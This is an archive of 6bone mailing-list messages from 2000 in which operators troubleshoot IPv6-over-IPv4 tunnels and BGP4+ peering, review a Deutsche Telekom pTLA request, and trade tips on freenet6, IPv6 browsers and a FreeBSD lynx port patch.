I found mistake in a tunnel destination address in your configuration.
It is 203.181.69.133 instead of 203.181.69.33.
please fix your configuration.


> I've tried to run bgp4+ with dti japan.  I have the following
> configuration
> but somehow i still couldn't connect to them.  Hope someone out there
> could help me out.  Thanks..
> 
> ----config----
> !
> interface Tunnel1
>  description Tunnel to DTI Japan
>  no ip address
>  no ip directed-broadcast
>  ipv6 enable
>  ipv6 address 3FFE:8080:2000::2/64
>  tunnel source Ethernet0/0
>  tunnel destination 203.181.69.33
>  tunnel mode ipv6ip
> !

-- Yutaka Ishizaki
    DREAM TRAIN INTERNET, INC.

From 6bone-owner  Sat Aug 26 07:17:53 2000
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Date: Sat, 26 Aug 2000 07:18:25 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Fwd: AW: pTLA for  Berkom /t-Nova, Deutsche Telekom)
Cc: ipv6-support@berkom.de
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Deutsche Telekom Berkom requests a pTLA. This opens a two week review 
period, so please send any comments to the me or the 6bone list.

This review period closes on 9 Sep 2000.


Thanks,

Bob

=========================================================
>From: "Scheffler, Thomas" <Thomas.Scheffler@telekom.de>
>To: Bob Fink <fink@es.net>
>Cc: a.zehl@berkom.de, Christian Hahn <CHahn@telekom.de>,
>         Dirk Hetzer <Dirk.Hetzer@telekom.de>, eder@berkom.de,
>         leymann@berkom.de,
>         Olaf Bonneß <o.bonness@berkom.de>
>Subject: AW: pTLA for  Berkom /t-Nova, Deutsche Telekom)
>Date: Fri, 25 Aug 2000 13:22:53 +0200
>
>Bob,
>
>I hope the following statement fulfills your requirements.
>Please let us know if something is missing.
>
>Thanks for your fast response,
>Thomas and Dirk
>
> >7. Guidelines for 6Bone pTLA sites
> >
> >    The following rules apply to qualify for a 6Bone pTLA allocation. It
> >    should be recognized that holders of 6Bone pTLA allocations are
> >    expected to provide production quality backbone network services for
> >    the 6Bone.
> >
> >    1. The pTLA Applicant must have a minimum of three (3) months
> >       qualifying experience as a 6Bone end-site or pNLA transit.  During
> >       the entire qualifying period the Applicant must be operationally
> >       providing the following:
>
>Berkom has been operational on the 6bone since 1996. We are currently
>working in several national and international project in the context
>of IPv6 research, deployment and transition.
>
> >       a. Fully maintained, up to date, 6Bone Registry entries for their
> >          ipv6-site inet6num, mntner, and person objects, including each
> >          tunnel that the Applicant has.
>
>http://whois.6bone.net/cgi-bin/whois
>Search for "Berkom"
>
> >
> >       b. Fully maintained, and reliable, BGP4+ peering and connectivity
> >          between the Applicant's boundary router and the appropriate
> >          connection point into the 6Bone. This router must be IPv6
> >          pingable. This criteria is judged by members of the 6Bone
> >          Operations Group at the time of the Applicant's pTLA request.
>
>Our entry point into the 6Bone is via JOIN (http://www.ipv6.uni-muenster.de).
>Our BGP4 router is pioneer.ipv6.berkom.de.
>ping: pioneer.ipv6.berkom.de
>
> >       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
> >          entries for the Applicant's router(s) and at least one host
> >          system.
>
>dns-server: sixpack.ipv6.berkom.de
>example host-system: sax6.ipv6.berkom.de
>
> >       d. A fully maintained, and reliable, IPv6-accessible system
> >          providing, at a mimimum, one or more web pages, describing the
> >          Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>http://www.ipv6.berkom.de
>
>
>2.      Statement:
>         Deutsche Telekom Berkom is willing to provide "production-quality"
>         6Bone backbone service.
>
>a)      Support staff:
>         Dirk Hetzer             dirk.hetzer@telekom.de
>         Olaf Bonness    o.bonness@berkom.de
>         Nicolay Leymann n.leymann@berkom.de
>         Thomas Scheffler        thomas.scheffler@telekom.de
>         Christian Hahn  chahn@telekom.de
>
>
>b)      A common mailbox: mailto:ipv6-support@berkom.de
>
>3.      Deutsche Telekom Berkom registers the pTLA on behalf of
>         Deutsche Telekom, the largest ISP in Germany.
>         Upcomming new services like UMTS, xDSL and such (may) require
>         the use of IPv6 in the future production network.
>
>4.      We have understood the current 6Bone operational rules
>         as defined in RFC 2772. We agree to this rules and are
>         willing to follow them as well as possible future changes.
-end


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From: =?utf-8?B?TWljaGFlbCBXLiBPbGl2ZXI=?= <oliver.michael@gargantuan.com>
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Can someone tell me which version of the Cisco IOS supports IPv6?  =
Thanks!


Regards,

Michael W. Oliver
mailto:oliver.michael@gargantuan.com
http://michael.gargantuan.com
Page me at mailto:1570482@skytel.com
******************************************************




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From 6bone-owner  Sun Aug 27 13:52:20 2000
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Michael,

In response to your question, IOS support for IPv6 is currently under
development.
You can get the updated information by following this link.

http://www.cisco.com/warp/public/732/ipv6/index.html

I believe the beta version of IOS images supporting IPv6 is available.
This is based on IOS 12.1.


Thanks
Mathew Joseph


At 03:48 PM 8/27/00 -0400, =?utf-8?B?TWljaGFlbCBXLiBPbGl2ZXI=?= wrote:
>Can someone tell me which version of the Cisco IOS supports IPv6?  Thanks!
>
>
>Regards,
>
>Michael W. Oliver
>mailto:oliver.michael@gargantuan.com
>http://michael.gargantuan.com
>Page me at mailto:1570482@skytel.com
>******************************************************
>
>
>
>
> 


From 6bone-owner  Sun Aug 27 21:39:35 2000
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From: Raja Azlina <ina@mimos.my>
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Added the "neighbor 3FFE:8080:2000::1 override-capability-neg" line and
changed the tunnel destination address to "203.181.69.133" , BUT the
result is still the same.
Stefan.Gasteiger@Gendorf.de wrote:
>  Perhaps you could post the *complete* configuration of
>  your router and the remote router (delete the passwords
> and secrets!)?

I could only provide our router configuration for DTI is running
zebra and not CISCO IOS(therefore I assume the syntax
should be different)..

fyi, currently we have a static route to singAREN for 2001::/16
network and we are trying to have BGP+ connection to DTI
for 3ffe::/16 network.

What is wrong with our config?  Thanks for the help!

-----
!
version 12.0
service timestamps debug uptime
service timestamps log uptime
service password-encryption
!
hostname router1.nel-ipv6.mimos.my
!
enable secret xxxx!
!
ip subnet-zero
!
ipv6 unicast-routing
!
interface Tunnel0
 description Tunneling to singAREN
 ip unnumbered Ethernet0/0
 no ip directed-broadcast
 ip mtu 1480
 ipv6 enable
ipv6 address 2001:208:1:FD01::2/64
tunnel source Ethernet0/0
 tunnel destination 202.8.95.2
 tunnel mode ipv6ip
!
interface Tunnel1
 description Tunnel to DTI Japan
 no ip address
 no ip directed-broadcast
 ipv6 enable
 ipv6 address 3FFE:8080:2000::2/64
 tunnel source Ethernet0/0
 tunnel destination 203.181.69.133
 tunnel mode ipv6ip
!
interface Ethernet0/0
 description Connected to 202.187.22.1 (BKJ15)
 ip address 202.187.22.2 255.255.255.224
 no ip directed-broadcast
 no ip mroute-cache
 ipv6 enable
 ipv6 address 2001:208:110:1::2/64
!
router bgp 2042
 no bgp default ipv4-unicast
 neighbor 3FFE:8080:2000::1 remote-as 4691
 !
 address-family ipv6
 neighbor 3FFE:8080:2000::1 activate
 neighbor 3FFE:8080:2000::1 override-capability-neg
 network 2001:208:110::/44
 exit-address-family
!
ip classless
ip route 0.0.0.0 0.0.0.0 202.187.22.1
no ip http server
!
ipv6 route 2001::/16 Tunnel0
!
banner motd ^C
You have reached ipv6-router...Welcome but don't screw this thing up ^C
!
line con 0
 password 7 05252323701E1D
 login
 transport input none
line aux 0
line vty 0 4
 password xxxx
 login
!
end

.....
-azlina


From 6bone-owner  Mon Aug 28 04:33:51 2000
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Dear Azlina,

I didn't set BGP configuration, because tunnel connection was not established.
Now, I completed to BGP configuration of our side.
I have turned up the DTI side of our peer. But your route doesn't come.

# show ipv6 bgp summary
BGP router identifier 203.181.69.133, local AS number 4691

 Neighbor                          AS      MsgRcvd MsgSent  Up/Down  State/PfxRcd
3ffe:8080:2000::2                2042          84      88   01:18:21        0


> Added the "neighbor 3FFE:8080:2000::1 override-capability-neg" line and
> changed the tunnel destination address to "203.181.69.133" , BUT the
> result is still the same.


-- Yutaka Ishizaki
    DREAM TRAIN INTERNET, INC.

From 6bone-owner  Thu Aug 31 11:30:37 2000
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From: Ryan Lortie <ryan@continuity.e-boxen.com>
To: 6bone@ISI.EDU
Subject: No responce for tunnel request.
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-- http://www.6bone.net/6bone_hookup.html --
Note that at times site contacts might be unresponsive, or slow to
respond, so don't wait more than a week for response. When all else fails,
query the 6bone list and ask for help in finding a contact.
--

I sent a tunnel request form to Viagenie last Wednesday, and have not
received any reply from them.  Should I continue to wait, or would someone
else be able to support my connection?

Thanks,
Ryan


From 6bone-owner  Thu Aug 31 14:28:56 2000
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To: Ryan Lortie <ryan@continuity.e-boxen.com>, 6bone@ISI.EDU
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: Re: No responce for tunnel request.
Cc: ipv6@viagenie.qc.ca
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 xen.com>
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At/À 12:31 2000-08-31 -0600, Ryan Lortie you wrote/vous écriviez:

>-- http://www.6bone.net/6bone_hookup.html --
>Note that at times site contacts might be unresponsive, or slow to
>respond, so don't wait more than a week for response. When all else fails,
>query the 6bone list and ask for help in finding a contact.
>--
>
>I sent a tunnel request form to Viagenie last Wednesday, and have not
>received any reply from them.

hummm. I'm surprised, we generally respond in the next day. We had many 
since a week or two, maybe yours was lost. Someone should respond to you 
today (it is end of the day here) or tomorrow. always send your emails for 
us to ipv6@viagenie.qc.ca.

Marc.

>Should I continue to wait, or would someone
>else be able to support my connection?
>
>Thanks,
>Ryan


Marc Blanchet
Viagénie inc.
tel: 418-656-9254
http://www.viagenie.qc.ca

----------------------------------------------------------
Normos (http://www.normos.org): Internet standards portal:
IETF RFC, drafts, IANA, W3C, ATMForum, ISO, ... all in one place.


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Date: Thu, 31 Aug 2000 15:03:05 -0700
From: "Bradley W. McNamara" <BMcNamara@zama.net>
Organization: ZAMA Networks, Inc.
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Subject: DNS Root Cache Data
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I have machines that are only connected to the 6bone.  Where can I find
the data to populate the root cache file?  Are there root nameservers on
the 6bone?  If there isn't any root nameservers on the 6bone, are there
any "well known" nameservers that I can use?  Thanks for any help.

Brad McNamara
ZAMA Networks


From 6bone-owner  Thu Aug 31 15:44:17 2000
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Date: Thu, 31 Aug 2000 18:44:54 -0400 (EDT)
From: "William F. Maton" <wmaton@ryouko.dgim.crc.ca>
Reply-To: wmaton@ryouko.dgim.crc.ca
To: Ryan Lortie <ryan@continuity.e-boxen.com>
cc: 6bone@ISI.EDU
Subject: Re: No responce for tunnel request.
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On Thu, 31 Aug 2000, Ryan Lortie wrote:

> -- http://www.6bone.net/6bone_hookup.html --
> Note that at times site contacts might be unresponsive, or slow to
> respond, so don't wait more than a week for response. When all else fails,
> query the 6bone list and ask for help in finding a contact.
> --
> 
> I sent a tunnel request form to Viagenie last Wednesday, and have not
> received any reply from them.  Should I continue to wait, or would someone
> else be able to support my connection?

Create your own?

	http://www.freenet6.net/en/createTunnel.html

> Ryan

wfms


From 6bone-owner  Fri Sep  1 09:28:17 2000
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Subject: Re: DNS Root Cache Data
To: BMcNamara@zama.net (Bradley W. McNamara)
Date: Fri, 1 Sep 2000 09:29:17 -0700 (PDT)
Cc: 6bone@ISI.EDU
In-Reply-To: <39AED619.4DD5F0EF@zama.net> from "Bradley W. McNamara" at Aug 31, 2000 03:03:05 PM
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% 
% I have machines that are only connected to the 6bone.  Where can I find
% the data to populate the root cache file?  Are there root nameservers on
% the 6bone?  If there isn't any root nameservers on the 6bone, are there
% any "well known" nameservers that I can use?  Thanks for any help.
% 
% Brad McNamara
% ZAMA Networks
% 

I hope that we can announce a working ipv6 root testbed before the SD
IETF.

-- 
--bill

From 6bone-owner  Fri Sep  1 13:08:25 2000
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From: Louis Zuckerman <louis@trapezoid.com>
To: "Bradley W. McNamara" <BMcNamara@zama.net>
cc: 6bone@ISI.EDU
Subject: Re: DNS Root Cache Data
In-Reply-To: <39AED619.4DD5F0EF@zama.net>
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You can request access to the "TLD Zone Files" from NSI.  Try calling
them and ask to have the forms faxed to you (that's how they do it).
Also, make sure that if it doesn't say so in the contract, you get the
ammendment that continues your access (otherwise they will cut you off
after like 6 weeks).

					Louis Zuckerman
					louis@trapezoid.com

On Thu, 31 Aug 2000, Bradley W. McNamara wrote:

> I have machines that are only connected to the 6bone.  Where can I find
> the data to populate the root cache file?  Are there root nameservers on
> the 6bone?  If there isn't any root nameservers on the 6bone, are there
> any "well known" nameservers that I can use?  Thanks for any help.
> 
> Brad McNamara
> ZAMA Networks
> 



From 6bone-owner  Sun Sep  3 12:54:13 2000
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From: "Li Hong" <jeff@muzi.com>
To: 6bone@ISI.EDU
Date: Mon, 04 Sep 2000 03:55:19 +0800
Subject: Connetion to 6bone question
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Hi, all,

    I am new here. I have one question how to connect one standalone host to 6bone? (the host in Freebsd 4.1).  

    I have read the document of "How to join the 6bone" in 6bone.net, how can I find a point to attach to? (My host in siue.edu). 

     Thanks forward for all your kind help.

     Hong
 
-- 
_______________________________________________
Get your free email from http://mail.muzi.com
Powered by Outblaze

From 6bone-owner  Sun Sep  3 21:11:34 2000
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From: Ryan Lortie <ryan@continuity.e-boxen.com>
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On Mon, 4 Sep 2000, Li Hong wrote:

> Hi, all,
> 
>     I am new here. I have one question how to connect one standalone host to 6bone? (the host in Freebsd 4.1).  
> 
>     I have read the document of "How to join the 6bone" in 6bone.net, how can I find a point to attach to? (My host in siue.edu). 
> 
>      Thanks forward for all your kind help.
> 
>      Hong

For connecting a single host to the 6bone, your best choice is
freenet6.  http://www.freenet6.net/  for FreeBSD 4.x (which includes
Kame) the process is dead simple.  Just select FreeBSD/Kame as your OS,
fill in your nick, country and IP address into the form and submit.  The
form adds a DNS entry <nick>.<countrycode>.freenet6.net for your IP and
generates a perl script.  You run the perl script on your host and you're
(in theory) online.

Ryan


From 6bone-owner  Sun Sep  3 23:21:43 2000
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From: Haisang Wu <hswu@ns.6test.edu.cn>
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Subject: Re: Connetion to 6bone question
In-Reply-To: <20000903195519.51398.qmail@muzi.com> from Li Hong at "Sep 4, 2000  3:55:19 am"
To: jeff@muzi.com (Li Hong)
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hi, 
   Pls lookt at http://www.freenet6.net. 
   best
                     Haisang

> Hi, all,
> 
>     I am new here. I have one question how to connect one standalone host to 6bone? (the host in Freebsd 4.1).  
> 
>     I have read the document of "How to join the 6bone" in 6bone.net, how can I find a point to attach to? (My host in siue.edu). 
> 
>      Thanks forward for all your kind help.
> 
>      Hong
>  
> -- 
> _______________________________________________
> Get your free email from http://mail.muzi.com
> Powered by Outblaze
> 


From 6bone-owner  Mon Sep  4 06:04:46 2000
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From: "Li Hong" <jeff@muzi.com>
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Date: Mon, 04 Sep 2000 21:05:51 +0800
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Hi, all,

    First thanks for Ryan, Haisang and Cabral's quick reply to my question.

    I have run the perl tunneling script, seems it create a tunneling between Freenet6 server and my computer. But how do I testing on its connection? Anyone has some suggestion to me? Thanks.

    Hong
-- 
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-----BEGIN PGP SIGNED MESSAGE-----


On Thu, 31 Aug 2000, Marc Blanchet wrote:

- - >hummm. I'm surprised, we generally respond in the next day. We had many 
- - >since a week or two, maybe yours was lost. Someone should respond to you 
- - >today (it is end of the day here) or tomorrow. always send your emails for 
- - >us to ipv6@viagenie.qc.ca.

I sent a mail to support@freenet6.net on August the 4th outlining a
security issue with the script produced to use gif tunnels:  Should I send
this to yourselves also?

Cheers,
S.


- -----------------------------------------------------------------
Feles mala! Cur cista non uteris? Stramentum novum in ea posui.  
- -----------------------------------------------------------------
http://deniability.org | simonb@deniability.org			 
pgp-key: simonb+pgp@deniability.org
- -----------------------------------------------------------------



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From 6bone-owner  Mon Sep  4 08:10:24 2000
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From: William Woods <bwoods2@mail.gplsucks.org>
To: 6bone@ISI.EDU
Subject: Now that I am attached to 6bone....
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OK, I now have all of my FreeBSD boxes attached to te "6 bone", a few
questions if I may:

1) Now what ?? I mean , is there a ipv6 compat browser avaliable for
FreeBSD?

2) I know this thing is experamental but is there like a list of sites and
ways to help out?

Thanks,

Bill


From 6bone-owner  Mon Sep  4 08:31:11 2000
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From: Barry Rutten <barry@linuxnl.za.net>
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Hi, when I try to ping eu.irc6.net for example is says: unkown host
but when I resolve with host -t AAAA eu.irc6.net nothing goes wrong
is there something in /etc/resolv.conf that I should add?

I'm connected to 6bone via freenet6.net, using SuSE 6.4

thanks in advance,

Barry Rutten

From 6bone-owner  Mon Sep  4 09:48:14 2000
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To: Li Hong <jeff@muzi.com>
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Subject: Re: testing on Freenet6
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On Mon, 4 Sep 2000, Li Hong wrote:

>     I have run the perl tunneling script, seems it create a tunneling between Freenet6 server and my computer. But how do I testing on its connection? Anyone has some suggestion to me? Thanks.

 try ping6, traceroute6 to freeenet6 end

                                              -------------------------
                                                Kasparavicius Andrius
________________________________________________________________________
http://www.andrius.org  ICQ:17701001  tel.: +370 87 25630 nick: Casper
AND-RIPE AND-6BONE



From 6bone-owner  Mon Sep  4 10:48:49 2000
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From: Frederick Bruckman <fb@enteract.com>
Reply-To: Frederick Bruckman <fb@enteract.com>
To: William Woods <bwoods2@mail.gplsucks.org>
cc: 6bone@ISI.EDU
Subject: Re: Now that I am attached to 6bone....
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On Mon, 4 Sep 2000, William Woods wrote:

> OK, I now have all of my FreeBSD boxes attached to te "6 bone", a few
> questions if I may:
> 
> 1) Now what ?? I mean , is there a ipv6 compat browser avaliable for
> FreeBSD?

The development version of "lynx" supports ipv6.


Frederick


From 6bone-owner  Mon Sep  4 11:19:20 2000
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Date: Mon, 04 Sep 2000 13:53:17 -0400
To: Simon Baker <simonb@deniability.org>
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: Re: No responce for tunnel request.
Cc: 6bone@ISI.EDU, ipv6@viagenie.qc.ca, simonb@csoft.net
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 m>
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At/À 10:06 2000-09-04 -0500, Simon Baker you wrote/vous écriviez:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>
>On Thu, 31 Aug 2000, Marc Blanchet wrote:
>
>- - >hummm. I'm surprised, we generally respond in the next day. We had many
>- - >since a week or two, maybe yours was lost. Someone should respond to you
>- - >today (it is end of the day here) or tomorrow. always send your 
>emails for
>- - >us to ipv6@viagenie.qc.ca.
>
>I sent a mail to support@freenet6.net on August the 4th outlining a
>security issue with the script produced to use gif tunnels:  Should I send
>this to yourselves also?

no.

Our "service" is on a best effort basis. So, we do our best to serve your 
requests.
Please send your comments directly to ipv6@viagenie.qc.ca (for generic 
tunnels) and support@freenet6.net (for freenet6 related questions).

Regards,  Marc.


>Cheers,
>S.
>
>
>- -----------------------------------------------------------------
>Feles mala! Cur cista non uteris? Stramentum novum in ea posui.
>- -----------------------------------------------------------------
>http://deniability.org | simonb@deniability.org
>pgp-key: simonb+pgp@deniability.org
>- ----------------------------------------------------------------
>
>
>
>-----BEGIN PGP SIGNATURE-----
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>
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Marc Blanchet
Viagénie inc.
tel: 418-656-9254
http://www.viagenie.qc.ca

----------------------------------------------------------
Normos (http://www.normos.org): Internet standards portal:
IETF RFC, drafts, IANA, W3C, ATMForum, ISO, ... all in one place.


From 6bone-owner  Mon Sep  4 11:49:45 2000
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To: bwoods2@mail.gplsucks.org
Cc: 6bone@ISI.EDU
Subject: Re: Now that I am attached to 6bone....
From: Hajimu UMEMOTO <ume@mahoroba.org>
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>>>>> On Mon, 4 Sep 2000 08:11:36 -0700 (PDT)
>>>>> William Woods <bwoods2@mail.gplsucks.org> said:

bwoods2> 1) Now what ?? I mean , is there a ipv6 compat browser avaliable for
bwoods2> FreeBSD?

Try ports/www/mozilla+ipv6 or ports/www/w3m.
Lynx 2.8.4dev.7 is IPv6 ready.  But, it seems not enabled in
ports/www/lynx-current.

--
Hajimu UMEMOTO @ Internet Mutual Aid Society Yokohama, Japan
ume@mahoroba.org  ume@bisd.hitachi.co.jp  ume@FreeBSD.org
http://www.imasy.org/~ume/

From 6bone-owner  Mon Sep  4 13:17:48 2000
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Date: Sun, 03 Sep 2000 16:25:46 -0400
From: Sean Quaint <squaint@mediaone.net>
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Hello,

I have a linux box ipchains to hide a couple hosts behind a cable
modem.  It runs only IPv4.  One of my private hosts is a Solaris 8 sparc
with IPv6 enabled.  I've run the perl script from freenet6.net, and have
now the following ip setup:

# ifconfig -a
le0: flags=1000843<UP,BROADCAST,RUNNING,MULTICAST,IPv4> mtu 1500 index 2
inet 192.168.100.11 netmask ffffff00 broadcast 192.168.100.255 ether
8:0:20:76:78:69
le0: flags=2000841<UP,RUNNING,MULTICAST,IPv6> mtu 1500 index 2  ether
8:0:20:76:78:69 inet6 fe80::a00:20ff:fe76:7869/10
ip.tun0: flags=2200850<POINTOPOINT,RUNNING,MULTICAST,NONUD,IPv6> mtu
1480 index 3   inet tunnel src 24.30.58.147 inet6 fe80::181e:3a93/10 -->
fe80::ce7b:1f66
ip.tun0:1: flags=2200850<POINTOPOINT,RUNNING,MULTICAST,NONUD,IPv6> mtu
1480 index 3 inet6 3ffe:b00:c18:1fff::65b/128 --> 3ffe:b00:c18:1fff::65a

ip.tun0:2: flags=2200850<POINTOPOINT,RUNNING,MULTICAST,NONUD,IPv6> mtu
1480 index 3 inet6 3ffe:b00:c18:1fff::65b/128 --> 3ffe:b00:c18:1fff::65a

and my routing tables are:

# netstat -rn

Routing Table: IPv4
  Destination           Gateway           Flags  Ref   Use   Interface
-------------------- -------------------- ----- ----- ------ ---------
192.168.100.0        192.168.100.11        U        1      6  le0
224.0.0.0            192.168.100.11        U        1      0  le0
default              192.168.100.2         UG       1    184
127.0.0.1            127.0.0.1             UH       6  28863  lo0

Routing Table: IPv6
  Destination/Mask            Gateway                   Flags Ref
Use   If
--------------------------- --------------------------- ----- --- ------
-----
fe80::/10                   fe80::a00:20ff:fe76:7869    U       1      0
le0
ff00::/8                    fe80::a00:20ff:fe76:7869    U       1      0
le0
default                     fe80::a00:20ff:fe76:7869    U       1     17
le0
default                     3ffe:b00:c18:1fff::65a      UG      1      0

::1                         ::1                         UH      1      0
lo0


Now when I try to ping an IPv6 addr, I get no route to host:
 # ping -A inet6 ftp.ring.gr.jp
ICMPv6 Address Unreachable from gateway fe80::a00:20ff:fe76:7869
 for icmp6 from fe80::a00:20ff:fe76:7869 to 2001:240:3:2::1

I'm sure the NAT configuration has something to do with this.  But I'm
not sure what to do about it.

Thanks in advance,

Sean Quaint



From 6bone-owner  Mon Sep  4 13:24:18 2000
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To: Barry Rutten <barry@linuxnl.za.net>
CC: 6bone@ISI.EDU
Subject: Re: domain resolving problem
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Barry Rutten wrote:
> 
> Hi, when I try to ping eu.irc6.net for example is says: unkown host
> but when I resolve with host -t AAAA eu.irc6.net nothing goes wrong
> is there something in /etc/resolv.conf that I should add?
> 
> I'm connected to 6bone via freenet6.net, using SuSE 6.4
> 
You might have to do a ping6 .....  I know the *BSDs have a seperate
ping6.

Jim
-- 
microsoft: "where do you want to go today?"
linux:     "where do you want to go tomorrow?"
BSD:       "are you guys coming, or what?"
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From 6bone-owner  Mon Sep  4 13:26:33 2000
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Date: Mon, 04 Sep 2000 16:27:17 -0400
From: James Housley <jim@thehousleys.net>
Organization: The Housleys dot Net
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To: William Woods <bwoods2@mail.gplsucks.org>
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William Woods wrote:
> 
> OK, I now have all of my FreeBSD boxes attached to te "6 bone", a few
> questions if I may:
> 
> 1) Now what ?? I mean , is there a ipv6 compat browser avaliable for
> FreeBSD?
> 
> 2) I know this thing is experamental but is there like a list of sites and
> ways to help out?
> 

/usr/port/www/mozilla+ipv6.

http://www.ipv6.org http://www.6bone.net http://www.kame.net and the
list goes one.

Jim
-- 
microsoft: "where do you want to go today?"
linux:     "where do you want to go tomorrow?"
BSD:       "are you guys coming, or what?"
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From 6bone-owner  Mon Sep  4 13:46:59 2000
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   On Mon, 4 Sep 2000, William Woods wrote:

   > OK, I now have all of my FreeBSD boxes attached to te "6 bone", a few
   > questions if I may:
   > 
   > 1) Now what ?? I mean , is there a ipv6 compat browser avaliable for
   > FreeBSD?

   The development version of "lynx" supports ipv6.


   Frederick




I believe that the Mozilla source base supports IPv6 as well.



Brad Spencer - brad@anduin.eldar.org   http://anduin.eldar.org
[finger brad@anduin.eldar.org for PGP public key]

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From: "Kim Scholte" <kscholte@pandora.be>
To: <6bone@ISI.EDU>
Subject: LAN using IPv6
Date: Mon, 4 Sep 2000 23:33:22 +0200
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Hello all,
=20
I was wondering if it is possible to use IPv6 as the default protocol =
for a lan. For the moment i have a linux server, which is connected to =
the internet with a cable modem, and connected to a hub with another =
nic. There also are some other clients connected to the hub (FreeBSD, =
Win95, Win98 and 2 WinNT4 clients).
=20
What I want to do is to use IPv6 for the lan (like =
telnet/imap/smb/smb-pdc/etc... ), and connect the lan to the internet =
with the linux server.

So, the first problem i see is how i setup the clients/server so they =
use IPv6 for all services (if this is possible ....)
The second problem is to configure the linux server so it uses the =
normal connection for IPv4 and the tunnel when using IPv6.=20

Thanks in advance,
Kim

------=_NextPart_000_0732_01C016C8.83CE75B0
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
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<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3612.1706"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>
<DIV><FONT color=3D#000000 size=3D2>Hello all,</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>I was wondering if it is possible to =
use IPv6 as=20
the default protocol for a lan. For the moment i have a linux server, =
which is=20
connected to the internet with a cable modem, and connected to a hub =
with=20
another nic. There also are some other clients connected to the hub =
(FreeBSD,=20
Win95, Win98 and 2 WinNT4 clients).</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>What I want to do is to use IPv6 for =
the lan=20
(like telnet/imap/smb/smb-pdc/etc... ), and connect the lan to the =
internet with=20
the linux server.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>So, the first problem i see is how i =
setup the=20
clients/server so they use IPv6 for all services (if this is possible=20
....)</FONT></DIV>
<DIV><FONT size=3D2>The second problem is to configure the linux server =
so it uses=20
the normal connection for IPv4 and the tunnel when using IPv6. =
</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>Thanks in advance,</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>Kim</FONT></DIV></DIV></BODY></HTML>

------=_NextPart_000_0732_01C016C8.83CE75B0--


From 6bone-owner  Mon Sep  4 15:11:46 2000
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From: Feico Dillema <feico@pasta.cs.uit.no>
To: William Woods <bwoods2@mail.gplsucks.org>
Cc: 6bone@ISI.EDU
Subject: Re: Now that I am attached to 6bone....
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On Mon, Sep 04, 2000 at 08:11:36AM -0700, William Woods wrote:
> 
> 1) Now what ?? I mean , is there a ipv6 compat browser avaliable for
> FreeBSD?
On our IPv6-net we use netscape and the wwwoffle-proxy (with v6
support) on the same machine for Web-browsing over IPv6. I wrote the
IPv6 patch for wwwoffle which is available through the NetBSD pkgsrc
system (and maybe also in the kame pkgsrc and ports distribution) and
you can find it on our WWW-site (slightly outdated though) here:

http://www.vermicelli.pasta.cs.uit.no/ipv6/software.html

> 2) I know this thing is experamental but is there like a list of sites and
> ways to help out?
These's at least one at www.ipv6.org. One example si our server which
offers most of its services (WWW, ftp, some mirrors, anoncvs, ...) over 
IPv6, check out: http://www.pasta.cs.uit.no and for a list of
services: http://www.pasta.cs.uit.no/Pasta/virtual.html


Feico.

From 6bone-owner  Mon Sep  4 17:25:42 2000
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I can give you a tunnel if you like. Just send me your IPv4 tunnel
endpoint, and an ASN if you want to run BGP4+, and I'll set you up. Also,
give me a dns server IP address to delegate your ipv6 zone to.

Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering, 
703-689-6322
1-800-724-3329, PIN 385-8833

When I was a child I had a fever;  my hands felt just like two balloons.

On Mon, 4 Sep 2000, Li Hong wrote:

->Hi, all,
->
->    I am new here. I have one question how to connect one standalone host to 6bone? (the host in Freebsd 4.1).  
->
->    I have read the document of "How to join the 6bone" in 6bone.net, how can I find a point to attach to? (My host in siue.edu). 
->
->     Thanks forward for all your kind help.
->
->     Hong
-> 
->-- 
->_______________________________________________
->Get your free email from http://mail.muzi.com
->Powered by Outblaze
->


From 6bone-owner  Mon Sep  4 18:10:12 2000
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To: ume@mahoroba.org
Cc: bwoods2@mail.gplsucks.org, 6bone@ISI.EDU
Cc: sumikawa@ebina.hitachi.co.jp
Subject: Re: Now that I am attached to 6bone....
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ume> Lynx 2.8.4dev.7 is IPv6 ready.  But, it seems not enabled in
ume> ports/www/lynx-current.

Try this patch. It will be merged in ports-current on FreeBSD.

---
Munechika SUMIKAWA @ Hitachi, Ltd. / KAME Project / FreeBSD.org

Index: Makefile
===================================================================
RCS file: /home/ncvs/ports/www/lynx-current/Makefile,v
retrieving revision 1.119
diff -u -r1.119 Makefile
--- Makefile	2000/08/20 20:22:31	1.119
+++ Makefile	2000/09/04 07:05:24
@@ -6,10 +6,10 @@
 #
 
 PORTNAME=	lynx
-PORTVERSION=    2.8.4d7
-CATEGORIES=	www
+PORTVERSION=    2.8.4d9
+CATEGORIES=	www ipv6
 MASTER_SITES=   http://lynx.isc.org/current/
-DISTNAME=       ${PORTNAME}2.8.4dev.7
+DISTNAME=       ${PORTNAME}2.8.4dev.9
 
 MAINTAINER=	ache@FreeBSD.org
 
@@ -22,6 +22,14 @@
 CONFIGURE_ARGS= --with-screen=ncurses --with-zlib --libdir="${L_LIB}" \
 		--enable-nsl-fork --enable-persistent-cookies \
 		--enable-nls
+
+.include <bsd.port.pre.mk>
+
+.if ${OSVERSION} >= 400014
+CONFIGURE_ARGS+=--enable-ipv6
+.else
+CONFIGURE_ARGS+=--disable-ipv6
+.endif
 CONFIGURE_ENV=  CC="${CC} -I${LOCALBASE}/include" LDFLAGS=-L${LOCALBASE}/lib
 MAKE_FLAGS=     helpdir=${L_HELP} docdir=${L_DOC} -f
 MAKEFILE=       makefile
@@ -37,4 +45,4 @@
